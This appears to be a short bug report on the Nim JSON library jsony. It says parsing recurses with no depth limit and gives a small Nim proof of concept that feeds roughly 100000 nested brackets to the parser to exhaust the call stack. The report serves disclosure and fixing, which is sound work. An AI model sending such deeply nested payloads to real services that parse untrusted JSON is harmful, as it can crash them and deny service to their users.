No limits for nesting in JSON

[hourianto]

The parser is recursive for skipped values, objects, arrays, sets, tuples, and JsonNode. There is no nesting limit or iterative fallback. Large nesting depth can exhaust the call stack.

import jsony
import std/os
import std/strutils

let depth =
  if paramCount() >= 1:
    parseInt(paramStr(1))
  else:
    100000

let payload = repeat("[", depth) & "0" & repeat("]", depth)
discard payload.fromJson()
